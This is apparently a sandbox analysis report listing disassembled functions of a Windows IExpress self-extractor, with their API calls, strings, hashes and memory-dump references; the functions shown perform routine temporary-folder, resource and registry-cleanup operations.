Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$*n3$@"v$CABINET
API String ID: 1305606123-4152964718
Opcode ID: 1dbdf42310c017938f907d7ad707c066c2dbaebca4de6376e83483deadb9a0aa
Instruction ID: 38afd863261c1bc35eb420fa9ec40b224d8a4fdf53044dea84cc2aa04b2b677b
Opcode Fuzzy Hash: 1dbdf42310c017938f907d7ad707c066c2dbaebca4de6376e83483deadb9a0aa
Instruction Fuzzy Hash: 4B3109B0B80705BFDB235B61ED8AF67369CB70BB45F05C425F902B2299DAF5CC408A60

Function 0036597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003659A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 003659AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00365A13
MulDiv.KERNEL32(?,?,00000400), ref: 00365A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00365A64
memset.MSVCRT ref: 00365A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00365A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00365AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00365BFC

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Part of subcall function 00366285: GetLastError.KERNEL32(00365BBC), ref: 00366285

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: f8dd57951a3d27814966eec1f1d1b88c9b7a64748008c820fe330a20b30316f3
Instruction ID: b81e79b72e3ee04fdf32f91d13a93caec7fd034aeafb187f3c8df8ac0df1238b
Opcode Fuzzy Hash: f8dd57951a3d27814966eec1f1d1b88c9b7a64748008c820fe330a20b30316f3
Instruction Fuzzy Hash: 0C718FB1900608AFEB279F60CC85BFB77ACEB48340F5485AAF806D7144DA709E848F64

Function 0036468F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
memcpy_s.MSVCRT ref: 003646E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

Strings

valid, xrefs: 003646E4
@"v, xrefs: 003646CC
TITLE, xrefs: 0036469D, 003646C0

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: @"v$TITLE$valid
API String ID: 3370778649-2568985078
Opcode ID: 25ec01d588540c29549080d51da25e65c88ed30715609155b96d4ca9373e8707
Instruction ID: 61bf821b820948082c8e37f9991cf13395bc39a92a34d40aaa757d0b474ff511
Opcode Fuzzy Hash: 25ec01d588540c29549080d51da25e65c88ed30715609155b96d4ca9373e8707
Instruction Fuzzy Hash: 5A01A9366447107BE3521BA59C4DF6B7E2DEBC6F52F05C014FA49A7150C9F18C418AB6

Function 003653A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0036171E: _vsnprintf.MSVCRT ref: 00361750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 003653FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365452

Strings

IXP, xrefs: 00365419
IXP%03d.TMP, xrefs: 003653C0
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003653B7, 003653E1, 0036541E

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-3062981759
Opcode ID: 6f8ed3a0936df5e99ac91c6b54715dab1cf3fd992708882e35b29ffc8614b026
Instruction ID: 6a2abd604bfd45577e3c1defede1eb3e8cd7d52c020ef341022a109afe41590c
Opcode Fuzzy Hash: 6f8ed3a0936df5e99ac91c6b54715dab1cf3fd992708882e35b29ffc8614b026
Instruction Fuzzy Hash: C311537130090477D3239B339C09FEF3A6DEFC6311F00C168F606E2294CEB489828AA2

Function 00365467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 003654C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036556F

Part of subcall function 003653A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 003653FB
Part of subcall function 003653A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365402
Part of subcall function 003653A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036541F
Part of subcall function 003653A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036542B
Part of subcall function 003653A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365434

Strings

ppc, xrefs: 003654E9
i386, xrefs: 003654FE
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 0036547D, 00365481, 003654AB, 0036551C, 0036553C, 00365568
mips, xrefs: 003654F7
alpha, xrefs: 003654F0

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1365827845
Opcode ID: f73f8c68fc70ef8c1c677cf70ed3908b443af71da083967ac8c2995218c97faf
Instruction ID: 65df2fcd0071066520c0fc9bf24be040388f615c2a1965ed225c4ff888ae9c55
Opcode Fuzzy Hash: f73f8c68fc70ef8c1c677cf70ed3908b443af71da083967ac8c2995218c97faf
Instruction Fuzzy Hash: FA312971B00A145BCB139B259C49A7E779EAB87340F19C13AEA03D764CDFB0CE418695

Function 0036256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00364096,00364096,?,00361ED3,00000001,00000000,?,?,00364137,?), ref: 003625B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00364096,?,00361ED3,00000001,00000000,?,?,00364137,?,00364096), ref: 003625CB
RegCloseKey.KERNELBASE(?,?,00361ED3,00000001,00000000,?,?,00364137,?,00364096), ref: 003625DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00364096,00364096,?,00361ED3,00000001,00000000,?,?,00364137,?), ref: 003625FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00364096,00000000,00000000,00000000,00000000,?,00361ED3,00000001,00000000), ref: 0036261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 003625F5
PendingFileRenameOperations, xrefs: 003625C3
System\CurrentControlSet\Control\Session Manager, xrefs: 003625A8

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 6558f0e2225beeddb779b9f4ff4308e90b5f1c01a0a94a7b12d650fa69bf2e7d
Instruction ID: f911cc30e2e1b323d762f678a6e10ef6fbd5639671cd89bd34f22795ab10f269
Opcode Fuzzy Hash: 6558f0e2225beeddb779b9f4ff4308e90b5f1c01a0a94a7b12d650fa69bf2e7d
Instruction Fuzzy Hash: 4011B234942628BB9B229B91CC09DFBBE7CEF057A1F11C051F909F2014DA704E04EAA1

Function 00366A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00367155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00367182
Part of subcall function 00367155: GetCurrentProcessId.KERNEL32 ref: 00367191
Part of subcall function 00367155: GetCurrentThreadId.KERNEL32 ref: 0036719A
Part of subcall function 00367155: GetTickCount.KERNEL32 ref: 003671A3
Part of subcall function 00367155: QueryPerformanceCounter.KERNEL32(?), ref: 003671B8

GetStartupInfoW.KERNEL32(?,003672B8,00000058), ref: 00366A7F
Sleep.KERNEL32(000003E8), ref: 00366AB4
_amsg_exit.MSVCRT ref: 00366AC9
_initterm.MSVCRT ref: 00366B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00366B49
exit.KERNELBASE ref: 00366BBF
_ismbblead.MSVCRT ref: 00366BDA

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: bc00a22fb1e2f33ae71b24ef0c3f08d47401e1cc042625c22f477827dc1a32f5
Instruction ID: caa636f7d7d0dd58389f83a60189a9bfea9b5d0348a848bb67b8298e184059d9
Opcode Fuzzy Hash: bc00a22fb1e2f33ae71b24ef0c3f08d47401e1cc042625c22f477827dc1a32f5
Instruction Fuzzy Hash: 67411670944724CFDB239B69DC167AA77F8EB89790F55C21AE851E7298CFB04C408B80

Function 003658C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00365534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 003658E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00365534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365943
LocalFree.KERNEL32(00000000,?,00365534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036594D
CloseHandle.KERNEL32(00000000,?,00365534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 0036595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00365534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00365963

Strings

TMP4351$.TMP, xrefs: 00365923
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 003658CD, 003658CF, 00365919, 00365962

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$TMP4351$.TMP
API String ID: 747627703-1005797265
Opcode ID: 4288060c4fc4a37003d6ded5fd9f07e8f132e565b14076cdcb5a7a6202eb0c2b
Instruction ID: 6f912a801631b8644e62ad009ebbdbe26e4dc00f6b5b01c3fe45ce2fd30c9773
Opcode Fuzzy Hash: 4288060c4fc4a37003d6ded5fd9f07e8f132e565b14076cdcb5a7a6202eb0c2b
Instruction Fuzzy Hash: 1011087260061067C7265F7A9C4DB9B7E9DDF46360F10C629F506E72D9CFB09845C6A0

Function 00363FEF Relevance: 10.6, APIs: 7, Instructions: 97processsynchronizationwindowCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00364033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00364049
GetExitCodeProcess.KERNELBASE(?,?), ref: 0036405C
CloseHandle.KERNEL32(?), ref: 0036409C
CloseHandle.KERNEL32(?), ref: 003640A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003640DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 003640E9

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 645ee9fad0a09742b92f9e891c34b94c2195266e52fe0e268172863bc8455cb7
Instruction ID: 6f744f269e44006a967b4b50632b9d73b36faafe1755c68c4802eca22f86fa0b
Opcode Fuzzy Hash: 645ee9fad0a09742b92f9e891c34b94c2195266e52fe0e268172863bc8455cb7
Instruction Fuzzy Hash: 6A31E531A40618BBEB229F65DC4DFABB77CEB95700F10C1A9F505E6160CA708C85CF61

Function 003651E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00362F4D,?,00000002,00000000), ref: 00365201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00365250

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Part of subcall function 00366285: GetLastError.KERNEL32(00365BBC), ref: 00366285

Strings

UPROMPT, xrefs: 003651EF, 00365230
<None>, xrefs: 00365262

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: c35982845783ee54eb245b92ef78567e5a5e1ac422f43752208329ccb1988fcd
Instruction ID: 7d791f552d6adb6a6978ace36b83ccae812fe58e11ebf573ec7197ae2d30c1d4
Opcode Fuzzy Hash: c35982845783ee54eb245b92ef78567e5a5e1ac422f43752208329ccb1988fcd
Instruction Fuzzy Hash: A411C8B5601601BFD3176B715D5AF3B71AEDB89384F11C839F642EA298DEF98C014538

Function 00363A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646A0
Part of subcall function 0036468F: SizeofResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646A9
Part of subcall function 0036468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003646C3
Part of subcall function 0036468F: LoadResource.KERNEL32(00000000,00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646CC
Part of subcall function 0036468F: LockResource.KERNEL32(00000000,?,00362D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003646D3
Part of subcall function 0036468F: memcpy_s.MSVCRT ref: 003646E5
Part of subcall function 0036468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003646EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00362F64,?,00000002,00000000), ref: 00363A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00363AB3

Part of subcall function 003644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00364518
Part of subcall function 003644B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00364554

Part of subcall function 00366285: GetLastError.KERNEL32(00365BBC), ref: 00366285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00363AD0
LocalFree.KERNEL32 ref: 00363B13

Part of subcall function 00366517: FindResourceA.KERNEL32(00360000,000007D6,00000005), ref: 0036652A
Part of subcall function 00366517: LoadResource.KERNEL32(00360000,00000000,?,?,00362EE8,00000000,003619E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00366538
Part of subcall function 00366517: DialogBoxIndirectParamA.USER32(00360000,00000000,00000547,003619E0,00000000), ref: 00366557
Part of subcall function 00366517: FreeResource.KERNEL32(00000000,?,?,00362EE8,00000000,003619E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00366560

LocalFree.KERNEL32(00000000,00363100,00000000,00000000), ref: 00363AF4

Strings

<None>, xrefs: 00363AC5
LICENSE, xrefs: 00363A46

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: feb768c8ce992f252a8d4bbcce57816ca378d666cd0166b0637b2442cc7852eb
Instruction ID: 7770146b2994a5db640e01c08c01cd2099ba6b22e90fe60301ba8c5413bfa852
Opcode Fuzzy Hash: feb768c8ce992f252a8d4bbcce57816ca378d666cd0166b0637b2442cc7852eb
Instruction Fuzzy Hash: E7118770700201ABD7236F729C09F1779BDDBDA740F10C52EF546EA5A5DEF588049A74

Function 003652B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(032E4840,00000080,?,00000000), ref: 003652F2
DeleteFileA.KERNELBASE(032E4840), ref: 003652FA
LocalFree.KERNEL32(032E4840,?,00000000), ref: 00365305
LocalFree.KERNEL32(032E4840), ref: 0036530C
SetCurrentDirectoryA.KERNELBASE(003611FC,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00365363

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00365334

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 2833751637-1525623783
Opcode ID: 521bd9baf6a3f2e25c983b9a660d739c82fe3f2839a4a02d0f04db8aab75a294
Instruction ID: fc8cfaf2f4e3113460f6e838c2d60add55a2a9005d664c4387304b28245804b7
Opcode Fuzzy Hash: 521bd9baf6a3f2e25c983b9a660d739c82fe3f2839a4a02d0f04db8aab75a294
Instruction Fuzzy Hash: 5E219F35500A04DFDB339F50DC19B6977BCAB18B90F19C26AE882A62A8CFF05C84CF44

Function 00361FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0036538C,?,?,0036538C), ref: 00362005
RegDeleteValueA.KERNELBASE(0036538C,wextract_cleanup2,?,?,0036538C), ref: 00362017
RegCloseKey.KERNELBASE(0036538C,?,?,0036538C), ref: 00362020

Strings

wextract_cleanup2, xrefs: 00361FE7, 0036200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00361FFB

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CloseDeleteOpenValue
